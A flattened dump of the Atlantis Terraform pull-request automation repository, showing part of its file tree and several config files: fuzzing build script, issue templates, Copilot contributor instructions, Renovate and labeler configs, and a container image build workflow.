mock_post_workflow_hook_url_generator.go │ │ │ ├── mock_post_workflows_hooks_command_runner.go │ │ │ ├── mock_pre_workflow_hook_url_generator.go │ │ │ ├── mock_pre_workflows_hooks_command_runner.go │ │ │ ├── mock_project_command_builder.go │ │ │ ├── mock_project_command_runner.go │ │ │ ├── mock_project_lock.go │ │ │ ├── mock_pull_cleaner.go │ │ │ ├── mock_resource_cleaner.go │ │ │ ├── mock_step_runner.go │ │ │ ├── mock_webhooks_sender.go │ │ │ ├── mock_working_dir.go │ │ │ └── mock_working_dir_locker.go │ │ ├── models/ │ │ │ ├── commit_status.go │ │ │ ├── commit_status_test.go │ │ │ ├── models.go │ │ │ ├── models_test.go │ │ │ └── testdata/ │ │ │ └── fixtures.go │ │ ├── modules.go │ │ ├── modules_test.go │ │ ├── pending_plan_finder.go │ │ ├── pending_plan_finder_test.go │ │ ├── plan_command_runner.go │ │ ├── plan_command_runner_test.go │ │ ├── policy_check_command_runner.go │ │ ├── post_workflow_hooks_command_runner.go │ │ ├── post_workflow_hooks_command_runner_test.go │ │ ├── pre_workflow_hooks_command_runner.go │ │ ├── pre_workflow_hooks_command_runner_test.go │ │ ├── project_command_builder.go │ │ ├── project_command_builder_internal_test.go │ │ ├── project_command_builder_test.go │ │ ├── project_command_context_builder.go │ │ ├── project_command_context_builder_test.go │ │ ├── project_command_pool_executor.go │ │ ├── project_command_runner.go │ │ ├── project_command_runner_test.go │ │ ├── project_finder.go │ │ ├── project_finder_test.go │ │ ├── project_locker.go │ │ ├── project_locker_test.go │ │ ├── pull_closed_executor.go │ │ ├── pull_closed_executor_test.go │ │ ├── pull_status_fetcher.go │ │ ├── pull_updater.go │ │ ├── repo_allowlist_checker.go │ │ ├── repo_allowlist_checker_test.go │ │ ├── repo_branch_test.go │ │ ├── state_command_runner.go │ │ ├── templates/ │ │ │ ├── apply_unwrapped_success.tmpl │ │ │ ├── apply_wrapped_success.tmpl │ │ │ ├── approve_all_projects.tmpl │ │ │ ├── failure.tmpl │ │ │ ├── failure_with_log.tmpl │ │ │ ├── import_success_unwrapped.tmpl │ │ │ ├── import_success_wrapped.tmpl │ │ │ ├── log.tmpl │ │ │ ├── merged_again.tmpl │ │ │ ├── multi_project_apply.tmpl │ │ │ ├── multi_project_apply_footer.tmpl │ │ │ ├── multi_project_header.tmpl │ │ │ ├── multi_project_import.tmpl │ │ │ ├── multi_project_plan.tmpl │ │ │ ├── multi_project_plan_footer.tmpl │ │ │ ├── multi_project_policy.tmpl │ │ │ ├── multi_project_policy_unsuccessful.tmpl │ │ │ ├── multi_project_state_rm.tmpl │ │ │ ├── multi_project_version.tmpl │ │ │ ├── plan_success_unwrapped.tmpl │ │ │ ├── plan_success_wrapped.tmpl │ │ │ ├── policy_check.tmpl │ │ │ ├── policy_check_results_unwrapped.tmpl │ │ │ ├── policy_check_results_wrapped.tmpl │ │ │ ├── single_project_apply.tmpl │ │ │ ├── single_project_import_success.tmpl │ │ │ ├── single_project_plan_success.tmpl │ │ │ ├── single_project_plan_unsuccessful.tmpl │ │ │ ├── single_project_policy_unsuccessful.tmpl │ │ │ ├── single_project_state_rm_success.tmpl │ │ │ ├── single_project_version_success.tmpl │ │ │ ├── single_project_version_unsuccessful.tmpl │ │ │ ├── state_rm_success_unwrapped.tmpl │ │ │ ├── state_rm_success_wrapped.tmpl │ │ │ ├── unwrapped_err.tmpl │ │ │ ├── unwrapped_err_with_log.tmpl │ │ │ ├── version_unwrapped_success.tmpl │ │ │ ├── version_wrapped_success.tmpl │ │ │ └── wrapped_err.tmpl │ │ ├── testdata/ │ │ │ ├── bitbucket-cloud-comment-event.json │ │ │ ├── bitbucket-cloud-pull-event-created.json │ │ │ ├── bitbucket-cloud-pull-event-fulfilled.json │ │ │ ├── bitbucket-cloud-pull-event-rejected.json │ │ │ ├── bitbucket-cloud-pull-event-updated.json │ │ │ ├── bitbucket-server-comment-event.json │ │ │ ├── bitbucket-server-get-pull-changes.json │ │ │ ├── bitbucket-server-get-pull.json │ │ │ ├── bitbucket-server-pull-event-created.json │ │ │ ├── bitbucket-server-pull-event-declined.json │ │ │ ├── bitbucket-server-pull-event-merged.json │ │ │ ├── fs/ │ │ │ │ ├── repoA/ │ │ │ │ │ ├── baz/ │ │ │ │ │ │ ├── init.tf │ │ │ │ │ │ └── mods.tf │ │ │ │ │ ├── modules/ │ │ │ │ │ │ ├── bar/ │ │ │ │ │ │ │ └── bar.tf │ │ │ │ │ │ └── foo/ │ │ │ │ │ │ ├── foo.tf │ │ │ │ │ │ └── mods.tf │ │ │ │ │ └── qux/ │ │ │ │ │ └── quxx/ │ │ │ │ │ ├── init.tf │ │ │ │ │ └── mods.tf │ │ │ │ └── repoB/ │ │ │ │ ├── dev/ │ │ │ │ │ └── quxx/ │ │ │ │ │ ├── init.tf │ │ │ │ │ └── mods.tf │ │ │ │ ├── modules/ │ │ │ │ │ ├── bar/ │ │ │ │ │ │ └── bar.tf │ │ │ │ │ └── foo/ │ │ │ │ │ ├── foo.tf │ │ │ │ │ └── mods.tf │ │ │ │ └── prod/ │ │ │ │ └── quxx/ │ │ │ │ ├── init.tf │ │ │ │ └── mods.tf │ │ │ ├── gitlab-get-merge-request-subgroup.json │ │ │ ├── gitlab-get-merge-request.json │ │ │ ├── gitlab-merge-request-comment-event-subgroup.json │ │ │ ├── gitlab-merge-request-comment-event.json │ │ │ ├── gitlab-merge-request-event-mark-as-ready.json │ │ │ ├── gitlab-merge-request-event-subgroup.json │ │ │ ├── gitlab-merge-request-event-update-assignee.json │ │ │ ├── gitlab-merge-request-event-update-description.json │ │ │ ├── gitlab-merge-request-event-update-labels.json │ │ │ ├── gitlab-merge-request-event-update-milestone.json │ │ │ ├── gitlab-merge-request-event-update-mixed.json │ │ │ ├── gitlab-merge-request-event-update-new-commit.json │ │ │ ├── gitlab-merge-request-event-update-reviewer.json │ │ │ ├── gitlab-merge-request-event-update-target-branch.json │ │ │ ├── gitlab-merge-request-event-update-title.json │ │ │ ├── gitlab-merge-request-event.json │ │ │ └── test-repos/ │ │ │ ├── cloud-block-without-workspace-name/ │ │ │ │ └── main.tf │ │ │ ├── no-cloud-block/ │ │ │ │ └── main.tf │ │ │ └── workspace-configured/ │ │ │ └── main.tf │ │ ├── unlock_command_runner.go │ │ ├── var_file_allowlist_checker.go │ │ ├── var_file_allowlist_checker_test.go │ │ ├── vcs/ │ │ │ ├── azuredevops/ │ │ │ │ ├── client.go │ │ │ │ ├── client_internal_test.go │ │ │ │ ├── client_test.go │ │ │ │ └── testdata/ │ │ │ │ ├── fixtures.go │ │ │ │ ├── policyevaluations.json │ │ │ │ └── pr.json │ │ │ ├── bitbucketcloud/ │ │ │ │ ├── client.go │ │ │ │ ├── client_test.go │ │ │ │ ├── models.go │ │ │ │ └── testdata/ │ │ │ │ ├── comments.json │ │ │ │ ├── pull-approved-by-author.json │ │ │ │ ├── pull-approved-multiple.json │ │ │ │ ├── pull-approved.json │ │ │ │ ├── pull-unapproved.json │ │ │ │ └── user.json │ │ │ ├── bitbucketserver/ │ │ │ │ ├── client.go │ │ │ │ ├── client_test.go │ │ │ │ ├── models.go │ │ │ │ └── testdata/ │ │ │ │ └── pull-request.json │ │ │ ├── client.go │ │ │ ├── client_test.go │ │ │ ├── common/ │ │ │ │ ├── common.go │ │ │ │ ├── common_test.go │ │ │ │ ├── git_cred_writer.go │ │ │ │ ├── git_cred_writer_test.go │ │ │ │ ├── instrumented_client.go │ │ │ │ ├── request_validation.go │ │ │ │ └── request_validation_test.go │ │ │ ├── gitea/ │ │ │ │ ├── client.go │ │ │ │ └── models.go │ │ │ ├── github/ │ │ │ │ ├── client.go │ │ │ │ ├── client_internal_test.go │ │ │ │ ├── client_test.go │ │ │ │ ├── config.go │ │ │ │ ├── credentials.go │ │ │ │ ├── credentials_test.go │ │ │ │ ├── instrumented_client.go │ │ │ │ ├── mocks/ │ │ │ │ │ ├── mock_credentials.go │ │ │ │ │ └── mock_github_pull_request_getter.go │ │ │ │ ├── testdata/ │ │ │ │ │ ├── fixtures.go │ │ │ │ │ ├── pull-request-mergeability/ │ │ │ │ │ │ ├── branch-protection-expected.json │ │ │ │ │ │ ├── branch-protection-failed.json │ │ │ │ │ │ ├── branch-protection-passed.json │ │ │ │ │ │ ├── repository-id.json │ │ │ │ │ │ ├── ruleset-atlantis-apply-expected.json │ │ │ │ │ │ ├── ruleset-atlantis-apply-pending.json │ │ │ │ │ │ ├── ruleset-check-expected.json │ │ │ │ │ │ ├── ruleset-check-failed-other-atlantis.json │ │ │ │ │ │ ├── ruleset-check-failed.json │ │ │ │ │ │ ├── ruleset-check-neutral.json │ │ │ │ │ │ ├── ruleset-check-passed.json │ │ │ │ │ │ ├── ruleset-check-pending-other-atlantis.json │ │ │ │ │ │ ├── ruleset-check-pending.json │ │ │ │ │ │ ├── ruleset-check-skipped.json │ │ │ │ │ │ ├── ruleset-evaluate-workflow-failed.json │ │ │ │ │ │ ├── ruleset-optional-check-failed.json │ │ │ │ │ │ ├── ruleset-optional-status-failed.json │ │ │ │ │ │ ├── ruleset-workflow-expected.json │ │ │ │ │ │ ├── ruleset-workflow-failed-first-check-successful.json │ │ │ │ │ │ ├── ruleset-workflow-failed.json │ │ │ │ │ │ ├── ruleset-workflow-passed-multiple-runs.json │ │ │ │ │ │ ├── ruleset-workflow-passed-sha-match.json │ │ │ │ │ │ ├── ruleset-workflow-passed-sha-mismatch.json │ │ │ │ │ │ ├── ruleset-workflow-passed-with-global-codeql.json │ │ │ │ │ │ └── ruleset-workflow-passed.json │ │ │ │ │ ├── pull-request.json │ │ │ │ │ └── repo.json │ │ │ │ ├── token_rotator.go │ │ │ │ └── token_rotator_test.go │ │ │ ├── gitlab/ │ │ │ │ ├── client.go │ │ │ │ ├── client_test.go │ │ │ │ └── testdata/ │ │ │ │ ├── changes-available.json │ │ │ │ ├── changes-pending.json │ │ │ │ ├── detailed-merge-status-ci-must-pass.json │ │ │ │ ├── detailed-merge-status-need-rebase.json │ │ │ │ ├── group-membership-success.json │ │ │ │ ├── head-pipeline-not-available.json │ │ │ │ ├── merge-success-with-label.json │ │ │ │ ├── merge-success.json │ │ │ │ ├── pipeline-blocking-discussions-unresolved.json │ │ │ │ ├── pipeline-remaining-approvals.json │ │ │ │ ├── pipeline-success.json │ │ │ │ ├── pipeline-with-pipeline-skipped.json │ │ │ │ ├── pipeline-work-in-progress.json │ │ │ │ ├── project-success.json │ │ │ │ ├── pull-request.json │ │ │ │ ├── user-multiple.json │ │ │ │ ├── user-none.json │ │ │ │ └── user-success.json │ │ │ ├── mocks/ │ │ │ │ ├── mock_client.go │ │ │ │ └── mock_pull_req_status_fetcher.go │ │ │ ├── not_configured_vcs_client.go │ │ │ ├── proxy.go │ │ │ ├── pull_status_fetcher.go │ │ │ └── vcs.go │ │ ├── version_command_runner.go │ │ ├── webhooks/ │ │ │ ├── http.go │ │ │ ├── http_test.go │ │ │ ├── mocks/ │ │ │ │ ├── mock_sender.go │ │ │ │ ├── mock_slack_client.go │ │ │ │ └── mock_underlying_slack_client.go │ │ │ ├── slack.go │ │ │ ├── slack_client.go │ │ │ ├── slack_client_test.go │ │ │ ├── slack_test.go │ │ │ ├── webhooks.go │ │ │ └── webhooks_test.go │ │ ├── working_dir.go │ │ ├── working_dir_locker.go │ │ ├── working_dir_locker_test.go │ │ └── working_dir_test.go │ ├── jobs/ │ │ ├── job_url_setter.go │ │ ├── job_url_setter_test.go │ │ ├── mocks/ │ │ │ ├── mock_project_command_output_handler.go │ │ │ ├── mock_project_job_url_generator.go │ │ │ └── mock_project_status_updater.go │ │ ├── project_command_output_handler.go │ │ └── project_command_output_handler_test.go │ ├── logging/ │ │ ├── log.go │ │ ├── logging_test.go │ │ ├── mocks/ │ │ │ └── mock_simple_logging.go │ │ └── simple_logger.go │ ├── metrics/ │ │ ├── common.go │ │ ├── counter.go │ │ ├── counter_test.go │ │ ├── debug.go │ │ ├── metricstest/ │ │ │ └── scope.go │ │ ├── scope.go │ │ └── scope_test.go │ ├── middleware.go │ ├── recovery/ │ │ ├── recovery.go │ │ └── recovery_test.go │ ├── router.go │ ├── router_test.go │ ├── scheduled/ │ │ ├── executor_service.go │ │ ├── executor_service_test.go │ │ ├── mocks/ │ │ │ └── mock_executor_service_job.go │ │ ├── runtime_stats.go │ │ └── runtime_stats_test.go │ ├── server.go │ ├── server_internal_test.go │ ├── server_test.go │ ├── static/ │ │ ├── css/ │ │ │ ├── custom.css │ │ │ ├── normalize.css │ │ │ ├── skeleton.css │ │ │ └── xterm-5.3.0.css │ │ └── js/ │ │ ├── xterm-5.3.0.js │ │ ├── xterm-addon-attach-0.9.0.js │ │ ├── xterm-addon-fit-0.8.0.js │ │ ├── xterm-addon-search-0.13.0.js │ │ └── xterm-addon-search-bar.js │ ├── user_config.go │ ├── user_config_test.go │ └── utils/ │ ├── os.go │ ├── slices.go │ ├── spellcheck.go │ └── spellcheck_test.go ├── testdata/ │ ├── cert.pem │ ├── cert2.pem │ ├── key.pem │ └── key2.pem ├── testdrive/ │ ├── github.go │ ├── testdrive.go │ └── utils.go └── testing/ ├── Dockerfile ├── assertions.go ├── hooks/ │ └── post_push ├── http.go └── temp_files.go ================================================ FILE CONTENTS ================================================ ================================================ FILE: .adr-dir ================================================ docs/adr ================================================ FILE: .clusterfuzzlite/Dockerfile ================================================ FROM gcr.io/oss-fuzz-base/base-builder-go@sha256:b940188f7306d865c69127852ec33e9c821287e6fbebaa9feb89ccc09a6e9b50 COPY . $SRC/atlantis COPY .clusterfuzzlite/build.sh $SRC/build.sh WORKDIR $SRC/atlantis ================================================ FILE: .clusterfuzzlite/build.sh ================================================ #!/bin/bash -eu # Copyright 2025 The Atlantis Authors # SPDX-License-Identifier: Apache-2.0 # Register go-118-fuzz-build so compile_native_go_fuzzer can inject its harness. printf "package main\nimport _ \"github.com/AdamKorcz/go-118-fuzz-build/testing\"\n" > "$SRC/atlantis/register.go" cd "$SRC/atlantis" && go get github.com/AdamKorcz/go-118-fuzz-build/testing && go mod tidy -e compile_native_go_fuzzer github.com/runatlantis/atlantis/server/core/config/cfgfuzz FuzzParseRepoCfgData FuzzParseRepoCfgData ================================================ FILE: .codecov.yml ================================================ coverage: status: # This disables the GitHub statuses from CodeCov. I found that many of the # PRs I wanted to merge failed the status checks because often some code # isn't testable or testing it isn't the highest priority. The comment with # the code coverage is all that is needed right now. project: off patch: off ================================================ FILE: .dockerignore ================================================ * !cmd/ !scripts/download-release.sh !server/ !testdrive/ !main.go !go.mod !go.sum !docker-entrypoint.sh !atlantis !.clusterfuzzlite/ ================================================ FILE: .editorconfig ================================================ root = true [*] charset = utf-8 end_of_line = lf trim_trailing_whitespace = true insert_final_newline = true [*.md] indent_style = space indent_size = 3 trim_trailing_whitespace = false ================================================ FILE: .gitattributes ================================================ # Set the default behavior, in case people don't have core.autocrlf set. * text=auto eol=lf ================================================ FILE: .github/ISSUE_TEMPLATE/bug_report.md ================================================ --- name: Bug Report about: You're experiencing an issue that is different than the documented behavior. labels: bug --- ### Community Note * Please vote on this issue by adding a 👍 [reaction](https://blog.github.com/2016-03-10-add-reactions-to-pull-requests-issues-and-comments/) to the original issue to help the community and maintainers prioritize this request. Searching for pre-existing feature requests helps us consolidate datapoints for identical requirements into a single place, thank you! * Please do not leave "+1" or other comments that do not add relevant new information or questions, they generate extra noise for issue followers and do not help prioritize the request. * If you are interested in working on this issue or have submitted a pull request, please leave a comment. --- ### Overview of the Issue ### Reproduction Steps ### Logs ### Environment details ### Additional Context ================================================ FILE: .github/ISSUE_TEMPLATE/feature_request.md ================================================ --- name: Feature request about: Propose a concrete new feature title: '' labels: 'feature' assignees: '' --- ### Community Note - Please vote on this issue by adding a 👍 [reaction](https://blog.github.com/2016-03-10-add-reactions-to-pull-requests-issues-and-comments/) to the original issue to help the community and maintainers prioritize this request. Searching for pre-existing feature requests helps us consolidate datapoints for identical requirements into a single place, thank you! - Please do not leave "+1" or other comments that do not add relevant new information or questions, they generate extra noise for issue followers and do not help prioritize the request. - If you are interested in working on this issue or have submitted a pull request, please leave a comment. --- - [ ] I'd be willing to implement this feature ([contributing guide](https://github.com/runatlantis/atlantis/blob/main/CONTRIBUTING.md)) **Describe the user story** **Describe the solution you'd like** **Describe the drawbacks of your solution** **Describe alternatives you've considered** ================================================ FILE: .github/PULL_REQUEST_TEMPLATE.md ================================================ ## what ## why ## tests ## references ================================================ FILE: .github/cherry-pick-bot.yml ================================================ enabled: true preservePullRequestTitle: true ================================================ FILE: .github/copilot-instructions.md ================================================ # Atlantis - Terraform Pull Request Automation **What it does:** Self-hosted Go application that listens for Terraform PR webhooks, runs `terraform plan/apply`, and comments results back to PRs. **Stack:** Go 1.25.4 • 381 Go files • Gorilla Mux • Cobra CLI • Viper config • VitePress docs (Node.js) • Docker deployment **Key Info:** ~35MB repo, server + CLI app, E2E tests with Playwright, integration tests with Terraform ## Build & Test (Always from repo root) **Prerequisites:** Go 1.25.4 (from go.mod, not .tool-versions) • Node 20+ & npm 10+ (website) • Docker • Terraform 1.11.1+ (integration tests) **Build:** `make build-service` → creates `./atlantis` binary (~51MB, 30-60s first run, 10s subsequent). Clean: `make clean` **Test:** `make test` (unit, ~60s) • `make test-all` (includes integration, ~5min) • `make docker/test-all` (CI environment) ⚠️ **Known failing test:** `TestNewServer_GitHubUser` in server/server_test.go - pre-existing, ignore it **Lint/Format:** `make check-fmt` (ALWAYS works) • `make fmt` (auto-format) ⚠️ **Known issue:** `make lint` and `make check-lint` fail with Go 1.25+ version mismatch. Use `make check-fmt` locally, CI handles linting. **Mocks:** `make go-generate` (regenerate after interface changes) • `make regen-mocks` (delete & regenerate all) **Website (VitePress):** `npm install` (required first) • `npm run website:dev` (http://localhost:8080) • `npm run website:build` • `npm run website:lint` • `npm run e2e` (Playwright) 📁 Docs: `runatlantis.io/docs/*.md` • Config: `runatlantis.io/.vitepress/config.js` ## Architecture **Structure:** `cmd/` (CLI) • `server/` (main app: controllers, core logic, events, vcs integrations) • `e2e/` (E2E tests) • `runatlantis.io/` (docs) • `scripts/` (build utils) **Key paths:** `main.go` (entry) • `cmd/server.go` • `server/server.go` (init) • `server/router.go` • `server/controllers/events/events_controller.go` (webhooks) **Core logic:** `server/core/config/` (parsing), `server/core/runtime/` (Terraform execution), `server/core/terraform/tfclient/` (TF client) **VCS providers:** `server/events/vcs/{github,gitlab,bitbucketcloud,bitbucketserver,azuredevops,gitea}/` **Config files:** `.golangci.yml` (lint), `go.mod`, `Makefile`, `Dockerfile`, `docker-compose.yml`, `.pre-commit-config.yaml` ## CI Workflows (.github/workflows/) **test.yml:** `make test-all` + `make check-fmt` in `ghcr.io/runatlantis/testing-env:latest` • E2E for GitHub/GitLab (skips on forks - no secrets) **lint.yml:** golangci-lint via GitHub Action • Path filtered (Go files only) **website.yml:** markdownlint → lychee link check → `npm install && npm run website:build` → `npm run e2e` (Playwright) **Others:** pr-lint (Conventional Commits), codeql, scorecard, dependency-review **Replicate CI locally:** `make test-all && make check-fmt` OR use Docker: `docker run --rm -v $(pwd):/atlantis ghcr.io/runatlantis/testing-env:latest sh -c "cd /atlantis && make test-all"` **E2E tests:** Complex setup (ngrok + credentials). CI handles it. Local optional. See `./scripts/e2e.sh` for details. ## Development Workflows **Before commit:** `make test` → `make check-fmt` → `make go-generate` (if interfaces changed) → `make build-service` (verify) **VCS provider:** Create `server/events/vcs//` → Implement `Client` interface (`server/events/vcs/common/common.go`) → Update `server/server.go` **Config changes:** Edit `server/core/config/valid/` or `raw/` → Update `server/user_config.go` → Test in `server/core/config/*_test.go` **Terraform execution:** Modify `server/core/terraform/tfclient/terraform_client.go` or `server/core/runtime/*_step_runner.go` (uses `hashicorp/hc-install`) ## Known Issues 1. **golangci-lint Go 1.25+ incompatibility:** `make lint`/`make check-lint` fail. Use `make check-fmt` locally; CI handles linting. 2. **TestNewServer_GitHubUser fails:** Pre-existing in main. Ignore it. 3. **E2E tests skip on forks:** Expected (no secrets). Maintainers run them. 4. **Website needs npm install first:** Always run `npm install` before `npm run website:*` commands. 5. **docker-compose needs atlantis.env:** Create file per CONTRIBUTING.md template for local webhook testing. ## Code Style **Logging:** Use `ctx.Log` • lowercase • quote strings with `%q` • NO colons (reserved for errors) • Levels: debug/info/warn/error **Errors:** Lowercase • `fmt.Errorf("context: %w", err)` not `%s` • Describe action, not "failed to" • Example: "running git clone: no executable" **Testing:** Tests in `{package}_test` • Internal: `{file}_internal_test.go` • Use `import . "github.com/runatlantis/atlantis/testing"` • `Assert()`, `Equals()`, `Ok()` **Commits:** Conventional Commits (`fix:`, `feat:`, etc.) • Sign with `-s` (DCO) ## Pre-PR Checklist ✓ `make test-all` (ignore TestNewServer_GitHubUser) ✓ `make check-fmt` ✓ `make go-generate` (if interfaces changed) ✓ Website builds (docs changes) ✓ Conventional Commits format ✓ Signed commits (-s) ✓ Tests added ✓ Docs updated ## Quick Commands **Daily:** `make build-service` • `make test` • `make check-fmt` **Pre-commit:** `make test-all` • `make check-fmt` **Website:** `npm install` • `npm run website:dev` • `npm run website:lint` **Coverage:** `make test-coverage-html` **Docker:** `make docker/dev` • `docker-compose up` --- **Trust these instructions first.** Search codebase only if info is incomplete/incorrect. Validated 2026-01-30 • Go 1.25.4 ================================================ FILE: .github/labeler.yml ================================================ build: - changed-files: - any-glob-to-any-file: 'Dockerfile*' dependencies: - changed-files: - any-glob-to-any-file: 'yarn.lock' - any-glob-to-any-file: 'go.*' docs: - changed-files: - any-glob-to-any-file: 'runatlantis.io/**/*.md' - any-glob-to-any-file: 'README.md' github-actions: - changed-files: - any-glob-to-any-file: - '.github/workflows/*.yml' go: - changed-files: - any-glob-to-any-file: '**/*.go' provider/azuredevops: - changed-files: - any-glob-to-any-file: 'server/**/*azuredevops*.go' provider/bitbucket: - changed-files: - any-glob-to-any-file: 'server/**/*bitbucket*.go' - any-glob-to-any-file: 'server/events/vcs/bitbucketcloud/*.go' - any-glob-to-any-file: 'server/events/vcs/bitbucketserver/*.go' provider/github: - changed-files: - any-glob-to-any-file: 'server/**/*github*.go' provider/gitlab: - changed-files: - any-glob-to-any-file: 'server/**/*gitlab*.go' website: - changed-files: - any-glob-to-any-file: 'runatlantis.io/.vitepress/**/*' - any-glob-to-any-file: 'package.json' - any-glob-to-any-file: 'package-lock.json' blog: - changed-files: - any-glob-to-any-file: 'runatlantis.io/blog/**' ================================================ FILE: .github/release.yml ================================================ changelog: exclude: labels: - ignore-for-release - github-actions authors: - octocat categories: - title: Breaking Changes 🛠 labels: - Semver-Major - breaking-change - title: Exciting New Features 🎉 labels: - Semver-Minor - enhancement - feature - title: Provider AzureDevops labels: - provider/azuredevops - title: Provider Bitbucket labels: - provider/bitbucket - title: Provider GitHub labels: - provider/github - title: Provider GitLab labels: - provider/gitlab - title: Bug fixes 🐛 labels: - bug - title: Security changes labels: - security - title: Documentation labels: - docs - website - title: Dependencies labels: - dependencies - title: Other Changes 🔄 labels: - "*" ================================================ FILE: .github/renovate.json5 ================================================ { extends: [ 'config:best-practices', ':separateMultipleMajorReleases', 'schedule:daily', 'security:openssf-scorecard', ], commitMessageSuffix: ' in {{packageFile}}', dependencyDashboardAutoclose: true, automerge: true, baseBranchPatterns: [ 'main', '/^release-.*/', ], platformAutomerge: true, labels: [ 'dependencies', ], postUpdateOptions: [ 'gomodTidy', 'gomodUpdateImportPaths', 'npmDedupe', ], prHourlyLimit: 1, minimumReleaseAge: '5 days', osvVulnerabilityAlerts: true, vulnerabilityAlerts: { enabled: true, labels: [ 'security', ], }, packageRules: [ // enable release branches for security updates { matchBaseBranches: [ '/^release-.*/', ], matchUpdateTypes: [ 'security', ], enabled: true, }, // disable release branches for anything else { matchBaseBranches: [ '/^release-.*/', ], enabled: false, }, { matchBaseBranches: [ 'main', ], matchFileNames: [ 'package.json', 'package-lock.json', ], }, { matchFileNames: [ 'testing/**', ], additionalBranchPrefix: '{{packageFileDir}}-', groupName: 'conftest-testing', matchPackageNames: [ '/conftest/', ], }, { ignorePaths: [ 'testing/**', ], groupName: 'github-', matchPackageNames: [ '/github-actions/', ], }, { ignorePaths: [ 'server/controllers/events/testdata/**/*.tf', ], matchDatasources: [ 'terraform', ], }, { matchDatasources: [ 'docker', ], matchPackageNames: [ 'node', 'cimg/node', ], versioning: 'node', }, { matchPackageNames: [ 'go', 'golang', ], versioning: 'go', groupName: 'go', }, { "matchFileNames": ["Dockerfile"], "matchPackageNames": ["golang"], "versioning": "docker", "allowedVersions": "/-alpine$/" }, // Include testdata files for go-github updates { "matchPackageNames": [ "github.com/google/go-github" ], "matchDatasources": [ "go" ], "ignorePaths": [] } ], customManagers: [ { customType: 'regex', managerFilePatterns: [ '/(^|/)Dockerfile$/', '/(^|/)Dockerfile\\.[^/]*$/', ], matchStrings: [ 'renovate: datasource=(?.*?) depName=(?.*?)( versioning=(?.*?))?\\s(ARG|ENV) .*?_VERSION=(?.*)\\s', ], versioningTemplate: '{{#if versioning}}{{{versioning}}}{{else}}semver{{/if}}', extractVersionTemplate: '^v(?\\d+\\.\\d+\\.\\d+)', }, { customType: 'regex', managerFilePatterns: [ '/.*go$/', ], matchStrings: [ '\\sconst .*Version = "(?.*)"\\s// renovate: datasource=(?.*?) depName=(?.*?)( versioning=(?.*?))?\\s', ], versioningTemplate: '{{#if versioning}}{{{versioning}}}{{else}}semver{{/if}}', extractVersionTemplate: '^v(?\\d+\\.\\d+\\.\\d+)', }, { customType: 'regex', managerFilePatterns: [ '/^\\.github/workflows/[^/]+\\.ya?ml$/', '/Makefile$/', ], matchStrings: [ 'renovate: datasource=(?.*?) depName=(?.*?)( versioning=(?.*?))?\\s.*?_VERSION: (?.*)\\s', ], versioningTemplate: '{{#if versioning}}{{{versioning}}}{{else}}semver{{/if}}', extractVersionTemplate: '^v(?\\d+\\.\\d+\\.\\d+)', }, ], } ================================================ FILE: .github/styles/Atlantis/ProductTerms.yml ================================================ extends: substitution message: "Use '%s' instead of '%s'." level: error ignorecase: false swap: 'Github': 'GitHub' 'Gitlab': 'GitLab' ================================================ FILE: .github/workflows/atlantis-image.yml ================================================ name: atlantis-image on: push: branches: - 'main' - 'release-**' tags: - v*.*.* pull_request: branches: - 'main' - 'release-**' types: - opened - reopened - synchronize - ready_for_review workflow_dispatch: concurrency: group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} cancel-in-progress: true permissions: contents: read jobs: changes: permissions: contents: read # for dorny/paths-filter to fetch a list of changed files pull-requests: read # for dorny/paths-filter to read pull requests outputs: should-run-build: ${{ steps.changes.outputs.src == 'true' || startsWith(github.ref, 'refs/tags/') }} if: github.event.pull_request.draft == false runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3 id: changes with: filters: | src: - 'Dockerfile' - 'docker-entrypoint.sh' - '.github/workflows/atlantis-image.yml' - '**.go' - 'go.*' build: needs: [changes] if: needs.changes.outputs.should-run-build == 'true' name: Build Image permissions: contents: read id-token: write packages: write attestations: write strategy: matrix: image_type: [alpine, debian] runs-on: ubuntu-24.04 env: # Set docker repo to either the fork or the main repo where the branch exists DOCKER_REPO: ghcr.io/${{ github.repository }} # Push if not a pull request and references the main branch PUSH: ${{ github.event_name != 'pull_request' && (github.ref == 'refs/heads/main' || startsWith(github.ref, 'refs/tags/')) }} steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 # Lint the Dockerfile first before setting anything up - name: Lint Dockerfile uses: hadolint/hadolint-action@54c9adbab1582c2ef04b2016b760714a4bfde3cf # v3.1.0 with: dockerfile: "Dockerfile" - name: Set up Go uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5.6.0 with: go-version-file: "go.mod" - name: Set up QEMU uses: docker/setup-qemu-action@c7c53464625b32c7a7e944ae62b3e17d2b600130 # v3 with: image: tonistiigi/binfmt:qemu-v10.2.1@sha256:d3b963f787999e6c0219a48dba02978769286ff61a5f4d26245cb6a6e5567ea3 platforms: arm64,arm - name: Set up Docker Buildx uses: docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f # v3 - name: "Install cosign" uses: sigstore/cosign-installer@faadad0cce49287aee09b3a48701e75088a2c6ad # v4.0.0 if: env.PUSH == 'true' && github.event_name != 'pull_request' # release version is the name of the tag i.e. v0.10.0 # release version also has the image type appended i.e. v0.10.0-alpine # release tag is either pre-release or latest i.e. latest # release tag also has the image type appended i.e. latest-alpine # if it's v0.10.0 and alpine, it will do v0.10.0, v0.10.0-alpine, latest, latest-alpine # if it's v0.10.0 and debian, it will do v0.10.0-debian, latest-debian - name: Docker meta id: meta uses: docker/metadata-action@c299e40c65443455700f0fdfc63efafe5b349051 # v5 env: SUFFIX: ${{ format('-{0}', matrix.image_type) }} with: images: | ${{ env.DOCKER_REPO }} labels: | org.opencontainers.image.authors="@runatlantis Github Org" org.opencontainers.image.licenses=Apache-2.0 tags: | # semver type=semver,pattern={{version}},prefix=v,suffix=${{ env.SUFFIX }} type=semver,pattern={{version}},prefix=v,enable=${{ matrix.image_type == 'alpine' }} type=semver,pattern={{major}}.{{minor}},prefix=v,suffix=${{ env.SUFFIX }} # dev type=raw,event=push,value=dev,enable={{is_default_branch}},suffix=${{ env.SUFFIX }} type=raw,event=push,value=dev,enable={{is_default_branch}},suffix=${{ env.SUFFIX }}-{{ sha }} 